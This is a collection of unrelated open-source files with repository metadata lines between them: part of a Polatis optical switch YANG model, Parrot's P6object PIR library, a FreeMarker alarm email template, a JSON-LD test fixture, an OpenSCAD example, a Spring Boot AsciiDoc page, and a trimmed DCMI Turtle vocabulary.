enum VOA_ATTEN_MODE_MAXIMUM { value 2; }
enum VOA_ATTEN_MODE_FIXED { value 3; }
}
description " VOA_ATTEN_MODE_CONVERGED: This is similar in behaviour to ABSOLUTE mode, but once
the attenuation converges to the desired level the switch freezes the VOA control loop.
This reduces noise caused by the control loop continually striving to improve the attenuation.
VOA_ATTEN_MODE_MAXIMUM: Port will achieve the maximum attenuation level. In this case configured
attenuation level is not used.
VOA_ATTEN_MODE_FIXED: Disables closed loop updating of the attenuation feature for the specified port.
Following issuance of this command, the port will continue to hold their current attenuation level
without any optical feedback. Thus, any changes in input power levels will no longer be tracked";
}
}
augment "/opsw:system-config" {
leaf startup-mode {
type enumeration {
enum MODE_VOLATILE;
enum MODE_PRESERVE;
}
default MODE_PRESERVE;
description "Specifies that the configuration needs to be stored
across a system-reset. When the mode is set to MODE_PRESERVE all new configurations will
be saved and switch will boot to last saved configuration. When the startup mode is MODE_VOLATILE
the switch will not retain the given configuration through system reset.";
}
}
augment "/opsw:system-config/opsw:user" {
leaf group {
type enumeration {
enum "admin";
enum "user";
enum "view";
}
default "user";
description "The permissions group to which user belongs.
Users in 'admin' group can read and write every data defined for the switch. They can
create, delete or edit users, change system-config data.
Users in 'user' group cannot change anything in the 'opsw:system-config', otherwise
they can change port configuration, cross-connect, only view notification log;
Users in 'view' group can only read data";
}
}
typedef polatis-switch-status {
type enumeration {
enum OPERATIONAL;
enum REQUEST_SERVICE;
}
description "Polatis switches are designed to recover from most system errors and will report
OPERATIONAL after most system errors. Some system errors require service by Polatis engineers. Users are advised to
Contact Polatis when REQUEST_SERVICE is reported.";
}
typedef notification-types {
type bits {
bit NOTIF_PORT_POWER {
position 0;
description "Issued when power readings are below
'/opsw:opm-alarm-config/opsw:signal-low-thresholds' and
'/opsw:opm-alarm-config/opsw:mode' is 'POWER_ALARM_ENABLED'.";
}
bit NOTIF_PORT_POWER_WARN {
position 1;
description "Issued when power readings are below
'/opsw:opm-alarm-config/opsw:signal-degrade-thresholds' and
'/opsw:opm-alarm-config/opsw:mode' is 'POWER_ALARM_ENABLED'.";
}
bit NOTIF_SYSTEM {
position 2;
description "Issued for system warnings and errors.";
}
bit NOTIF_APS {
position 3;
description "Issued for APS events.";
}
bit NOTIF_ACTIVITY {
position 4;
description "Issued for switch configuration changes performed
by users if '/opsw:system-config/opsw:activity-log/opsw:logging-enabled'
is true. The scope of the configuration setting reported can be
controlled by the '/opsw:system-config/opsw:activity-log/opsw:log-filter'.";
}
}
}
leaf mask-notification {
type notification-types;
description "Polatis switch sends the notifications on the notification stream 'Polatis'.
The leaf can be set to mask individual notifications appearing on that stream. ";
}
notification port-power-alarm {
description "Issued when power readings are below
'/opsw:opm-alarm-config/opsw:signal-low-thresholds' and
'/opsw:opm-alarm-config/opsw:mode' is 'POWER_ALARM_ENABLED'.";
leaf port-id {
type uint32;
mandatory true;
}
leaf port-label {
type opsw:namesFormatNullable;
description "Label of the notification port";
}
}
notification port-power-clear {
description "Issued when power readings are restored above
'/opsw:opm-alarm-config/opsw:signal-low-thresholds' and
'/opsw:opm-alarm-config/opsw:mode' is 'POWER_ALARM_ENABLED'.";
leaf port-id {
type uint32;
mandatory true;
}
leaf port-label {
type opsw:namesFormatNullable;
description "Label of the notification port";
}
}
notification port-power-warn-alarm {
description "Issued when power readings are below
'/opsw:opm-alarm-config/opsw:signal-degrade-thresholds' and
'/opsw:opm-alarm-config/opsw:mode' is 'POWER_ALARM_ENABLED'.";
leaf port-id {
type uint32;
mandatory true;
description "ID for the port causing this notification.";
}
leaf port-label {
type opsw:namesFormatNullable;
description "Label of the notification port.";
}
}
notification port-power-warn-clear {
description "Sent when power reading returns within offsets to the thresholds set,
including hysteresis.";
leaf port-id {
type uint32;
mandatory true;
description "ID for the port causing this notification.";
}
leaf port-label {
type opsw:namesFormatNullable;
description "Label of the notification port";
}
}
notification system-error {
description "These notifications are generated under many circumstances as described by the 'error-code' and 'message'.";
leaf error-code {
type uint32;
mandatory true;
description "ID for the cause of the notification.";
}
leaf switch-status {
type polatis-switch-status;
mandatory true;
description "Status of the switch after this notification";
}
leaf message {
type string;
description "Use readable description of the cause of this notification.";
}
}
notification activity-log-notification {
description "This notification reports a configuration change in the switch.";
leaf notification-username {
type string;
description "User who has changed the configuration.";
}
leaf notification-ip-address {
type inet:ip-address;
description "IPv4 address from which the client made the configuration changes";
}
leaf notification-protocol {
type string;
description "The protocol used to change the configuration.";
}
leaf notification-activity {
type string;
description "This message describes the configuration change that was made";
}
}
container notification-log {
config false;
description "The log contains all notifications ignoring the restrictions in 'mask-notification'.";
list log {
key notif-id;
leaf notif-id {
type uint32;
description "Unique Id for the notification.";
}
leaf notif-type {
type notification-types;
mandatory true;
}
leaf notif-count {
type uint32;
description "The number of notifications of the same 'notif-id'.";
}
leaf notif-time-first {
type yang:date-and-time;
mandatory true;
description "Time at which the first notification was generated";
}
leaf notif-time-last {
type yang:date-and-time;
mandatory true;
description "Time at which the last notification was generated";
}
leaf notif-message {
type string;
mandatory true;
description "Useful textual representation of the notification cause.";
}
leaf notif-port {
when "../notif-type = 'NOTIF_PORT_POWER' or " +
"../notif-type = 'NOTIF_PORT_POWER_WARN' ";
type uint32;
description "The port that is affected by power alarm or power warning alarm.";
}
container notif-system {
leaf error-code {
type uint32;
}
leaf switch-status {
type polatis-switch-status;
}
when "../notif-type = 'NOTIF_SYSTEM'";
}
}
}
rpc clear-notification-ids {
description "This clears named or all notifications from the log, don't provide any input, or empty list to remove all.";
input {
list notif-ids {
leaf notif-id {
type uint32;
description "Unique Id for the notification.";
}
}
}
}
container system-alarms {
config false;
description "This returns the current active system alarms.";
list alarm {
key alarm-time;
leaf alarm-time {
type yang:date-and-time;
description "Time at which the alarm occured.";
}
leaf alarm-type {
type notification-types;
description "Type of the alarm.";
}
leaf alarm-message {
type string;
mandatory true;
description "Message that explains the reason for the alarm.";
}
}
}
grouping shutter {
description "If the shutter feature is available, a port can be
configured to block the signal periodically - once, a fixed number of
times or indefinitely.";
leaf signal-block-time {
type uint32 {
range "10..10000";
}
description "Time in (ms) for which shutter will block the signal when activated.";
}
leaf signal-restore-time {
type uint32 {
range "500..30000";
}
description "Time in (ms) for which shutter will restore the signal when activated. If this parameter is not configured, the shutter blocks once.";
}
leaf cycles {
type uint32;
description "The specific number of cycles the repeating shutter operates.
When the cycles is 0, the shutter is in activated state until it is
deactivated. This parameter may only be configured if 'signal-restore-time' is configured.";
}
}
rpc shutter-config {
description "Configures the shutter parameters for a list of ports.";
input {
list port {
key port-id;
leaf port-id {
type opsw:portFormat;
description "ID for port to configure";
}
uses shutter {
refine signal-block-time {
mandatory true;
}
}
min-elements 1;
}
}
}
container shutter-status {
description "Reports the shutter status for all ports that can be configured.";
config false;
list port {
key port-id;
leaf port-id {
type opsw:portFormat;
description "port Id to which the configuration belongs";
}
uses shutter;
leaf status {
type enumeration {
enum SHUTTER_IDLE { value 1; }
enum SHUTTER_SET { value 2; }
enum SHUTTER_ACTIVE { value 3; }
enum SHUTTER_PENDING { value 4; }
}
description "Current shutter status for this port";
}
}
}
rpc shutter-operation {
description "Activates or deactivates the pre-configured list of ports.";
input {
leaf activate {
type boolean;
mandatory true;
}
leaf-list port {
type opsw:portFormat;
min-elements 1;
description "List of IDs for ports to be activated or deactivated.";
}
}
}
rpc add-group-cross-connect {
description "Cross connects one 'group' to another 'group', if possible.";
input {
leaf group-name-from {
type opsw:groupNamesFormat;
mandatory true;
}
leaf group-name-to {
type opsw:groupNamesFormat;
mandatory true;
}
}
}
rpc delete-group-cross-connect {
description "Disconnects all ports of a 'group'.";
input {
leaf group-name {
type opsw:groupNamesFormat;
mandatory true;
}
}
}
container sessions {
description "Shows the active user sessions.";
list session {
config false;
key session-id;
leaf session-id {
type uint32;
description "ID of the session";
}
leaf protocol-name {
type string;
description "The protocol interface used for this session.";
}
leaf protocol-port {
type uint32;
description "The port number to which the client connected; not used for RS232.";
}
leaf client-address {
type inet:ip-address;
description "IP address from which the client connected; not used for RS232.";
}
leaf user-name {
type opsw:userNamesFormat;
description "The name of the user logged in on the session.";
}
}
}
rpc disconnect-session {
description "Allows an admin to end a user's session.";
input {
leaf session-id {
type uint32;
mandatory true;
}
}
}
}
| YANG | 5 | meodaiduoi/onos | models/polatis/src/main/yang/polatis-switch@2017-09-11.yang | [
"Apache-2.0"
] |
=head1 NAME
P6object - Perl 6-like methods and metaclasses for Parrot
=head1 SYNOPSIS
.sub 'main'
load_bytecode "dumper.pbc"
# load this library
load_bytecode 'P6object.pbc'
## grab the P6metaclass protoobject
.local pmc p6meta
p6meta = get_hll_global 'P6metaclass'
## create a new class ABC::Def with three attributes
p6meta.'new_class'('ABC::Def', 'attr'=>'$a @b %c')
## get the protoobject for ABC::Def
.local pmc defproto
defproto = get_hll_global ['ABC'], 'Def'
## use the protoobject to create a new ABC::Def object
.local pmc obj
obj = defproto.'new'()
## get the class protoobject from any object
$P0 = obj.'WHAT'()
## get the metaclass for any object
$P0 = obj.'HOW'()
## create a new class MyHash as a subclass of Parrot's 'Hash'
p6meta.'new_class'('MyHash', 'parent'=>'Hash')
## tell Parrot classes to use a specific protoobject
$P0 = get_hll_global 'MyHash'
p6meta.'register'('Hash', 'protoobject'=>$P0)
$P1 = new 'Hash' # create a Hash
$P2 = $P1.'WHAT'() # get its protoobject
$S3 = $P2 # stringify
say $S3 # "MyHash\n"
=head1 DESCRIPTION
C<P6object> is intended to add Perl 6-like behaviors to objects
in Parrot. It creates and maintains protoobjects, and supplies
C<.WHAT> and C<.HOW> methods to objects and protoobjects in Parrot.
Protoobjects also have a default C<.new> method for creating
new instances of a class (classes are able to override this, however).
=head1 CLASSES
=head2 P6object
C<P6object> is the base class for objects that make use of the
P6metamodel. It supplies the C<.WHAT> and C<.HOW> methods.
=over 4
=item onload() :anon :init :load
Initializes the P6object system. Builds protoobjects for
C<P6object> and C<P6metaclass>.
=cut
.namespace ['P6object']
.sub 'onload' :anon :init :load
$P0 = newclass 'P6protoobject'
$P0 = newclass 'P6object'
addattribute $P0, '%!properties'
$P1 = subclass $P0, 'P6metaclass'
addattribute $P1, 'parrotclass'
addattribute $P1, 'protoobject'
addattribute $P1, 'longname'
addattribute $P1, 'shortname'
$P2 = new 'P6metaclass'
$P2.'register'($P0)
$P3 = $P2.'register'($P1)
setattribute $P3, 'protoobject', $P3
$P0 = new ['Boolean']
set_hll_global ['P6protoobject'], 'False', $P0
$P0 = new ['Boolean']
assign $P0, 1
set_hll_global ['P6protoobject'], 'True', $P0
.end
=item HOW()
Return the C<P6metaclass> of the invocant.
=cut
.sub 'HOW' :method :nsentry
$P0 = typeof self
$P1 = getprop $P0, 'metaclass'
.return ($P1)
.end
=item WHAT()
Return the C<P6protoobject> for the invocant.
=cut
.sub 'WHAT' :method :nsentry
.local pmc how, what
how = self.'HOW'()
what = getattribute how, 'protoobject'
.return (what)
.end
=item WHERE()
Return the memory address for the invocant.
=cut
.sub 'WHERE' :method :nsentry
$I0 = get_id self
.return ($I0)
.end
=item WHO()
Return the package for the object.
=cut
.sub 'WHO' :method :nsentry
$P0 = typeof self
$P0 = getprop $P0, 'metaclass'
$P0 = getattribute $P0, 'parrotclass'
$P0 = $P0.'get_namespace'()
.return ($P0)
.end
=item PROTOOVERRIDES()
Return a list of methods to be overridden in protoobjects
for the class. Defaults to 'new' (i.e., any '.new' method
in a class will override the one given for P6protoobject
below).
=cut
.sub 'PROTOOVERRIDES' :method
.return ('new')
.end
=back
=head2 P6metaclass
=over
=item isa(x)
Return a true value if the invocant 'isa' C<x>.
=cut
.namespace ['P6metaclass']
.sub 'isa' :method :multi(_,_, _)
.param pmc obj
.param pmc x
.local pmc parrotclass
parrotclass = self.'get_parrotclass'(x)
$P0 = obj.'WHAT'()
$I0 = isa $P0, parrotclass
.return ($I0)
.end
=item can(x)
Return a true value if the invocant 'can' C<x>.
=cut
.sub 'can' :method
.param pmc obj
.param string x
$P0 = obj.'WHAT'()
$I0 = can $P0, x
.return ($I0)
.end
=item add_parent(parentclass [, 'to'=>parrotclass])
Deprecated; use add_parent(class, parentclass)
=cut
.sub 'add_parent' :method :multi(_,_)
.param pmc parentclass
.param pmc options :slurpy :named
$P0 = options['to']
unless null $P0 goto have_to
$P0 = self
have_to:
.tailcall self.'add_parent'($P0, parentclass)
.end
=item add_parent(class, parentclass)
=cut
.sub 'add_parent' :method :multi(_,_,_)
.param pmc obj
.param pmc parentclass
parentclass = self.'get_parrotclass'(parentclass)
.local pmc parrotclass
parrotclass = self.'get_parrotclass'(obj)
if null parrotclass goto end
## if parrotclass isa parentclass, we're done
$I0 = isa parrotclass, parentclass
if $I0 goto end
## if parrotclass isa PMCProxy, we do method mixins
$S0 = typeof parrotclass
if $S0 == 'PMCProxy' goto parent_proxy
## add parent directly to parrotclass, we're done
parrotclass.'add_parent'(parentclass)
goto end
parent_proxy:
## iterate over parent's mro and methods, adding them to parrotclass' namespace
.local pmc mroiter, methods, methoditer
$P0 = parentclass.'inspect'('all_parents')
mroiter = iter $P0
mro_loop:
unless mroiter goto mro_end
$P0 = shift mroiter
methods = $P0.'methods'()
methoditer = iter methods
method_loop:
unless methoditer goto mro_loop
.local string methodname
.local pmc methodpmc
methodname = shift methoditer
methodpmc = methods[methodname]
# don't add NativePCCMethods
$I0 = isa methodpmc, 'NativePCCMethod'
if $I0 goto method_loop
# don't add NCI methods (they don't work)
$I0 = isa methodpmc, 'NCI'
if $I0 goto method_loop
# if there's no existing entry, add method directly
push_eh add_method_failed
$P0 = inspect parrotclass, 'methods'
$P0 = $P0[methodname]
if null $P0 goto add_method
# if existing entry isn't a MultiSub, skip it
$I0 = isa $P0, ['MultiSub']
unless $I0 goto method_loop
parrotclass.'add_method'(methodname, methodpmc)
pop_eh
goto method_loop
add_method:
parrotclass.'add_method'(methodname, methodpmc)
add_method_failed:
pop_eh
goto method_loop
mro_end:
end:
.end
.sub 'add_parent' :method :multi(_,P6metaclass,_)
.param pmc obj
.param pmc parentclass
$P0 = getattribute obj, 'parrotclass'
self.'add_parent'($P0, parentclass)
.end
=item add_method(name, method, [, 'to'=>parrotclass])
Add C<method> with C<name> to C<parrotclass>.
DEPRECATED. Use add_method(class, name, method)
=cut
.sub 'add_method' :method :multi(_,_,_)
.param string name
.param pmc method
.param pmc options :slurpy :named
$P0 = options['to']
unless null $P0 goto have_to
$P0 = self
have_to:
.tailcall self.'add_method'($P0, name, method)
.end
=item add_method(class, name, method)
Add C<method> with C<name> to C<class>.
=cut
.sub 'add_method' :method :multi(_,_,_,_)
.param pmc obj
.param string name
.param pmc method
.local pmc parrotclass
parrotclass = self.'get_parrotclass'(obj)
parrotclass.'add_method'(name, method)
.end
=item add_attribute(class, name)
Add C<method> with C<name> to C<class>.
=cut
.sub 'add_attribute' :method
.param pmc obj
.param string name
.param pmc options :slurpy :named
.local pmc parrotclass
parrotclass = self.'get_parrotclass'(obj)
parrotclass.'add_attribute'(name)
.end
=item add_role(role, [, 'to'=>parrotclass])
Add C<role> to C<parrotclass>.
DEPRECATED. Use compose_role(class, role)
=cut
.sub 'add_role' :method
.param pmc role
.param pmc options :slurpy :named
$P0 = options['to']
unless null $P0 goto have_to
$P0 = self
have_to:
.tailcall self.'compose_role'($P0, role)
.end
=item compose_role(class, role)
Add C<role> to C<class>.
=cut
.sub 'compose_role' :method
.param pmc obj
.param pmc role
.local pmc parrotclass
parrotclass = self.'get_parrotclass'(obj)
parrotclass.'add_role'(role)
.end
=item register(parrotclass [, 'name'=>name] [, 'protoobject'=>proto]
[, 'parent'=>parentclass] [, 'hll'=>hll] [, 'how'=>how)
Sets objects of type C<parrotclass> to use C<protoobject>,
and verifies that C<parrotclass> has P6object methods defined
on it. This happens either by setting C<P6object> as a parent
of C<parrotclass>, or by individually composing C<P6object>'s methods
into C<parrotclass>.
The C<name> parameter causes objects to be registered using a name
that differs from the parrotclass name. This is useful when needing
to map to a class name that already exists in Parrot (e.g., 'Hash'
or 'Object').
The C<how> parameter allows you to specify an already-existing metaclass
instance to be used for this class rather than creating a new one.
=cut
.sub 'register' :method
.param pmc parrotclass
.param pmc options :slurpy :named
## get the true parrotclass
$I0 = isa parrotclass, 'Class'
if $I0 goto have_parrotclass
parrotclass = self.'get_parrotclass'(parrotclass)
have_parrotclass:
## get the hll, either from options or the caller's namespace
.local pmc hll
hll = options['hll']
$I0 = defined hll
if $I0, have_hll
$P0 = getinterp
$P0 = $P0['namespace';1]
$P0 = $P0.'get_name'()
hll = shift $P0
options['hll'] = hll
have_hll:
## add any needed parent classes
.local pmc parentclass
parentclass = options['parent']
if null parentclass goto parent_done
$I0 = isa parentclass, 'P6protoobject'
if $I0 goto parent_single
$I0 = does parentclass, 'array'
if $I0 goto parent_array
$S0 = typeof parentclass
if $S0 == 'String' goto parent_string
parent_single:
self.'add_parent'(parentclass, 'to'=>parrotclass)
goto parent_done
parent_string:
$S0 = parentclass
parentclass = split ' ', $S0
parent_array:
.local pmc it, item
it = iter parentclass
parent_loop:
unless it goto parent_done
item = shift it
$S0 = item
$P0 = split ';', $S0
$I0 = elements $P0
eq $I0, 1, no_parent_hll
$S0 = shift $P0
goto have_parent_hll
no_parent_hll:
$S0 = hll
have_parent_hll:
$P0 = shift $P0
$S1 = $P0
$P0 = split '::', $S1
unshift $P0, $S0
$S0 = pop $P0
item = get_root_global $P0, $S0
self.'add_parent'(item, 'to'=>parrotclass)
goto parent_loop
parent_done:
$I0 = isa parrotclass, 'P6object'
if $I0 goto isa_p6object_already
self.'add_parent'('P6object', 'to'=>parrotclass)
isa_p6object_already:
## determine parrotclass' canonical p6-name
.local string name
.local pmc ns
name = options['name']
if name goto have_name
## use the name of parrotclass if :name not supplied
name = parrotclass
have_name:
## Parrot joins namespaces with ';'
ns = split ';', name
$I0 = elements ns
if $I0 > 1 goto have_ns
## but perhaps it's a (legacy) ::-delimited name instead
ns = split '::', name
have_ns:
## get the metaclass (how) from :how, or :protoobject, or create one
.local pmc how
how = options['how']
unless null how goto have_how
$P0 = options['protoobject']
if null $P0 goto make_how
how = $P0.'HOW'()
goto how_setup
make_how:
## create a metaclass for parrotclass
$P0 = typeof self
how = new $P0
setattribute how, 'parrotclass', parrotclass
have_how:
## create an anonymous class for the protoobject
.local pmc protoclass, protoobject
protoclass = new 'Class'
$P0 = get_class 'P6protoobject'
## P6protoobject methods override parrotclass methods...
protoclass.'add_parent'($P0)
protoclass.'add_parent'(parrotclass)
protoobject = new protoclass
## ...except for the ones that don't
.local pmc protooverrides
(protooverrides :slurpy) = protoobject.'PROTOOVERRIDES'()
override_loop:
unless protooverrides goto override_end
.local string methodname
methodname = shift protooverrides
unless methodname goto override_loop
$P0 = parrotclass.'inspect'('all_parents')
it = iter $P0
method_loop:
unless it goto method_end
$P0 = shift it
$P0 = $P0.'methods'()
$P0 = $P0[methodname]
if null $P0 goto method_loop
protoclass.'add_method'(methodname, $P0)
method_end:
goto override_loop
override_end:
have_protoobject:
## save the protoobject into the metaclass
setattribute how, 'protoobject', protoobject
## attach the metaclass object to the protoclass
setprop protoclass, 'metaclass', how
## store the long and short names in the protoobject; skip if anonymous
.local pmc longname, shortname
$I0 = elements ns
if $I0 == 0 goto anonymous_class
$S0 = join '::', ns
longname = new 'String'
longname = $S0
shortname = ns[-1]
setattribute how, 'longname', longname
setattribute how, 'shortname', shortname
## store the protoobject in appropriate namespace
unshift ns, hll
$S0 = pop ns
set_root_global ns, $S0, protoobject
## store the protoobject in the default export namespace
push ns, 'EXPORT'
push ns, 'ALL'
set_root_global ns, $S0, protoobject
goto how_setup
## anonymous classes have empty strings for shortname and longname
anonymous_class:
longname = new 'String'
shortname = new 'String'
setattribute how, 'longname', longname
setattribute how, 'shortname', shortname
how_setup:
## attach the metaclass object to the parrotclass
setprop parrotclass, 'metaclass', how
## return the protoobject
.return (protoobject)
.end
=item new_class(name [, 'parent'=>parentclass] [, 'attr'=>attr] [, 'hll'=>hll])
Create a new class called C<name> as a subclass of C<parentclass>.
When C<name> is a string, then double-colons will be treated as separators.
If C<parentclass> isn't supplied, defaults to using C<P6object>
as the parent. The C<attr> parameter is a list of attribute names
to be added to the class, specified as either an array or a string
of names separated by spaces.
=cut
.sub 'new_class' :method
.param pmc name
.param pmc options :slurpy :named
.local pmc parrotclass, hll
hll = options['hll']
$I0 = defined hll
if $I0, have_hll
$P0 = getinterp
$P0 = $P0['namespace';1]
$P0 = $P0.'get_name'()
hll = shift $P0
options['hll'] = hll
have_hll:
.local pmc class_ns, ns
$S0 = typeof name
$I0 = isa name, 'String'
if $I0, parrotclass_string
$I0 = isa name, 'ResizableStringArray'
if $I0, parrotclass_array
parrotclass = newclass name
goto have_parrotclass
parrotclass_string:
$S0 = name
class_ns = split '::', $S0
unshift class_ns, hll
$P0 = get_root_namespace
ns = $P0.'make_namespace'(class_ns)
parrotclass = newclass ns
goto have_parrotclass
parrotclass_array:
class_ns = name
unshift class_ns, hll
$P0 = get_root_namespace
ns = $P0.'make_namespace'(class_ns)
parrotclass = newclass ns
goto have_parrotclass
have_parrotclass:
.local pmc attrlist, it
attrlist = options['attr']
if null attrlist goto attr_done
$I0 = does attrlist, 'array'
if $I0 goto have_attrlist
$S0 = attrlist
attrlist = split ' ', $S0
have_attrlist:
it = iter attrlist
iter_loop:
unless it goto iter_end
$S0 = shift it
unless $S0 goto iter_loop
addattribute parrotclass, $S0
goto iter_loop
iter_end:
attr_done:
.tailcall self.'register'(parrotclass, options :named :flat)
.end
=item get_proto(name)
Retrieve the protoobject for C<name>. Return null if no
protoobject exists, or whatever is present isn't a protoobject.
=cut
.sub 'get_proto' :method
.param string name
.local pmc ns, proto
ns = split '::', name
$S0 = pop ns
proto = get_hll_global ns, $S0
if null proto goto done
$I0 = isa proto, ['P6protoobject']
if $I0 goto done
null proto
done:
.return (proto)
.end
=item get_parrotclass(x)
Multimethod helper to return the parrotclass for C<x>.
=cut
.sub 'get_parrotclass' :method
.param pmc x
.param pmc hll :named('hll') :optional
.param int has_hll :opt_flag
if null x goto done
.local pmc parrotclass
parrotclass = x
$S0 = typeof x
if $S0 == 'Class' goto done
if $S0 == 'PMCProxy' goto done
$I0 = isa x, 'String'
if $I0 goto x_string
$I0 = isa x, 'NameSpace'
if $I0 goto x_ns
$I0 = isa x, 'P6object'
if $I0 goto x_p6object
$P0 = typeof x
.return ($P0)
x_p6object:
$P0 = x.'HOW'()
parrotclass = getattribute $P0, 'parrotclass'
.return (parrotclass)
x_string:
$I0 = isa x, 'P6protoobject'
if $I0 goto x_p6object
parrotclass = get_class x
unless null parrotclass goto done
$S0 = x
$P0 = split '::', $S0
unless has_hll goto no_hll
unshift $P0, hll
x = get_root_namespace $P0
unless null x goto x_ns
$S0 = shift $P0
no_hll:
x = get_hll_namespace $P0
x_ns:
if null x goto done
$I0 = isa x, 'P6protoobject'
if $I0 goto x_p6object
parrotclass = get_class x
done:
.return (parrotclass)
.end
=back
=head2 P6protoobject
=over 4
=item get_string()
Returns the "shortname" of the protoobject's class and parens.
=cut
.namespace ['P6protoobject']
.sub 'VTABLE_get_string' :method :vtable('get_string')
$P0 = self.'HOW'()
$P1 = getattribute $P0, 'longname'
$S0 = $P1
$S0 = concat $S0, '()'
.return ($S0)
.end
=item defined()
Protoobjects are always treated as being undefined.
=cut
.sub 'VTABLE_defined' :method :vtable('defined')
.return (0)
.end
=item name()
Have protoobjects return their longname in response to a
C<typeof_s_p> opcode.
=cut
.sub 'VTABLE_name' :method :vtable('name')
$P0 = self.'HOW'()
$P1 = getattribute $P0, 'longname'
.return ($P1)
.end
=item new()
Provides a default constructor for creating objects in
the class.
Note that unlike Perl 6, the C<new> method here exists only
in the protoobject and not in the individual instances of
the class. (If you want all objects in a class to have a
C<new> method, then define one in the class and it
will be used in lieu of this one.)
=cut
.sub 'new' :method
.local pmc parrotclass
$P0 = self.'HOW'()
## for speed we access the 'parrotclass' attribute directly here
parrotclass = getattribute $P0, 'parrotclass'
$P1 = new parrotclass
.return ($P1)
.end
=item ACCEPTS(topic)
=cut
.sub 'ACCEPTS' :method
.param pmc topic
.local pmc topichow, topicwhat, parrotclass
$P0 = self.'HOW'()
parrotclass = $P0.'get_parrotclass'(self)
# Perl6Object (legacy) and Mu accept anything.
$S0 = parrotclass
if $S0 == 'Perl6Object' goto accept
if $S0 == 'Mu' goto accept
# Otherwise, just try a normal check.
$I0 = can topic, 'HOW'
unless $I0 goto reject
topicwhat = topic.'WHAT'()
$I0 = isa topicwhat, parrotclass
if $I0 goto accept
$I0 = does topic, parrotclass
if $I0 goto accept
# If this fails, and we want Any, and it's something form outside
# of the Perl 6 world, we'd best just accept it.
unless $S0 == 'Any' goto reject
$I0 = isa topicwhat, 'Mu'
unless $I0 goto accept
reject:
$P0 = get_global 'False'
.return ($P0)
accept:
$P0 = get_global 'True'
.return ($P0)
.end
=back
=head1 AUTHOR
Written and maintained by Patrick R. Michaud, C<< pmichaud at pobox.com >>.
Please send patches, feedback, and suggestions to the parrot-dev mailing
list or to C< parrotbug@parrotcode.org >.
=head1 COPYRIGHT
Copyright (C) 2008, Parrot Foundation.
=cut
# Local Variables:
# mode: pir
# fill-column: 100
# End:
# vim: expandtab shiftwidth=4 ft=pir:
| Parrot Internal Representation | 4 | winnit-myself/Wifie | runtime/parrot/library/P6object.pir | [
"Artistic-2.0"
] |
<h4>异常超过阀值告警</h4>
<table rules="all" border="1" >
<tr>
<td>项目名称</td>
<td>${domain}</td>
</tr>
<tr>
<td>告警时间</td>
<td>${date?string("yyyy-MM-dd HH:mm:ss")}</td>
</tr>
<tr>
<td>告警规则</td>
<td>${rule}</td>
</tr>
<tr>
<td>错误个数</td>
<td>${count}</td>
</tr>
<tr>
<td>CAT链接</td>
<td> <a href="${url}" target="_blank">link</a></td>
</tr>
</table> | FreeMarker | 2 | woozhijun/cat | cat-home/src/main/resources/freemaker/exceptionAlarm.ftl | [
"Apache-2.0"
] |
{
"@context": {
"@version": 1.1,
"e": {"@id": "http://example.org/vocab#string", "@type": "@json"}
},
"e": "string"
} | JSONLD | 2 | donbowman/rdflib | test/jsonld/1.1/toRdf/js17-in.jsonld | [
"BSD-3-Clause"
] |
module mycube2(a,b) {
module innercube(q1,q2){
cube(size=[q1, q2, 2], center=true);
}
innercube(a,b);
}
module mycube1(a,b,c) {
mycube2(a,b);
}
mycube1(1,2,3); | OpenSCAD | 4 | heristhesiya/OpenJSCAD.org | packages/io/scad-deserializer/tests/submodule_tests/nestedSubmoduleEx2.scad | [
"MIT"
] |
[[container-images]]
= Container Images
include::attributes.adoc[]
Spring Boot applications can be containerized <<container-images#container-images.dockerfiles,using Dockerfiles>>, or by <<container-images#container-images.buildpacks,using Cloud Native Buildpacks to create optimized docker compatible container images that you can run anywhere>>.
include::container-images/efficient-images.adoc[]
include::container-images/dockerfiles.adoc[]
include::container-images/cloud-native-buildpacks.adoc[]
include::container-images/whats-next.adoc[]
| AsciiDoc | 3 | techAi007/spring-boot | spring-boot-project/spring-boot-docs/src/docs/asciidoc/container-images.adoc | [
"Apache-2.0"
] |
@prefix dcterms: <http://purl.org/dc/terms/> .
@prefix owl: <http://www.w3.org/2002/07/owl#> .
@prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> .
@prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> .
dcterms:
a owl:Ontology ;
dcterms:modified "2010-10-11" ;
dcterms:title "DCMI Metadata Terms"@en-us ;
rdfs:comment "This version of the DCMI Terms vocabulary has been heavily trimmed for LV2." .
dcterms:Agent
a dcterms:AgentClass ,
rdfs:Class ;
dcterms:description "Examples of Agent include person, organization, and software agent."@en-us ;
rdfs:comment "A resource that acts or has the power to act."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "Agent"@en-us .
dcterms:AgentClass
a rdfs:Class ;
dcterms:description "Examples of Agent Class include groups seen as classes, such as students, women, charities, lecturers."@en-us ;
rdfs:comment "A group of agents."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "Agent Class"@en-us ;
rdfs:subClassOf dcterms:AgentClass .
dcterms:LicenseDocument
a rdfs:Class ;
rdfs:comment "A legal document giving official permission to do something with a Resource."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "License Document"@en-us ;
rdfs:subClassOf dcterms:RightsStatement .
dcterms:LinguisticSystem
a rdfs:Class ;
dcterms:description "Examples include written, spoken, sign, and computer languages."@en-us ;
rdfs:comment "A system of signs, symbols, sounds, gestures, or rules used in communication."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "Linguistic System"@en-us .
dcterms:MediaType
a rdfs:Class ;
rdfs:comment "A file format or physical medium."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "Media Type"@en-us ;
rdfs:subClassOf dcterms:MediaTypeOrExtent .
dcterms:MediaTypeOrExtent
a rdfs:Class ;
rdfs:comment "A media type or extent."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "Media Type or Extent"@en-us .
dcterms:RightsStatement
a rdfs:Class ;
rdfs:comment "A statement about the intellectual property rights (IPR) held in or over a Resource, a legal document giving official permission to do something with a resource, or a statement about access rights."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "Rights Statement"@en-us .
dcterms:Standard
a rdfs:Class ;
rdfs:comment "A basis for comparison; a reference point against which other things can be evaluated."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "Standard"@en-us .
dcterms:URI
a rdfs:Datatype ;
rdfs:comment "The set of identifiers constructed according to the generic syntax for Uniform Resource Identifiers as specified by the Internet Engineering Task Force."@en-us ;
rdfs:isDefinedBy dcterms: ;
rdfs:label "URI"@en-us ;
rdfs:seeAlso <http://www.ietf.org/rfc/rfc3986.txt> .
